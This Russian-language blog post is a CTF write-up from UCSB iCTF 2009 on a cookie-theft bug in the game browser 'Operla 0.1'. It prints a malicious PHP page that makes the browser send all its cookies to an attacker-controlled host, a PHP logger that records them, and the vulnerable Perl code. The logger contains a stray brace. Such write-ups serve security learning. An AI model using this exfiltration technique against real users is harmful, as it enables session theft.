→ Operla 0.1

| No TrackBacks

Начнем разбор полетов по итогам UCSB iCTF 2009 с браузера Operla 0.1. Наши коллеги из команды ТГУ SiBears рассмотрели уже несколько браузеров (см. посты с тегом «Разборы»)

В браузере Operla 0.1 был найден всего 1 баг -- существует возможность похитить куки.

Если браузеру отдать кукис sec=hello+world, то браузер сделает GET со всеми кукисами на адрес, указанный в кукисе Remote-Cookie-Store.

Пример злобной страницы на PHP:

o01.php:
<?php
setcookie('sec', 'hello world');
setcookie('Remote-Cookie-Store', 'http://10.24.0.2/get-sniff.php');
?>
get-sniff.php:
<?php
$date = strftime('%d-%m-%Y %H:%M:%S', time());
$log = fopen('/tmp/log-operla-0.1.txt', 'a+');
if (!$log) return;
fprintf($log, "[%s from %s] %s\n", $date, $_SERVER['REMOTE_ADDR'], urldecode($_SERVER['REQUEST_URI']));
fclose($log);
}
?>
Сам код внутри файла operla:
....
if ((defined ($c->{'sec'}) && trustedCstore($c->{'sec'})) && defined($c->{'Remote-Cookie-Store'})) {
$cstrurl = $c->{'Remote-Cookie-Store'};
$cstrurl =~ s/\%([A-Fa-f0-9]{2})/pack('C', hex($1))/seg;
$cstr =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
$cstrurl .= "?$cstr";
$ua->get($cstrurl);
}
....
sub trustedCstore {
my $val = shift @_;
$val =~ s/\+/ /g;
my $v = md5_hex($val);
if ($v eq '5eb63bbbe01eeed093cb22bb8f5acdc3') {
return 1;
}
return 0;
}
....

5eb63bbbe01eeed093cb22bb8f5acdc3 - это md5 от hello world.

Исходники файлов:
operla-0.1.pl
get-sniff.php
o01.php

No TrackBacks

TrackBack URL: http://smokedchicken.org/m/mt-tb.cgi/6

About this Entry

This page contains a single entry by 盗賊 published on December 21, 2009 10:46 PM.

Реверсерам was the previous entry in this blog.

Выделение сигнатур из антивирусных баз is the next entry in this blog.

Find recent content on the main index or look in the archives to find all content.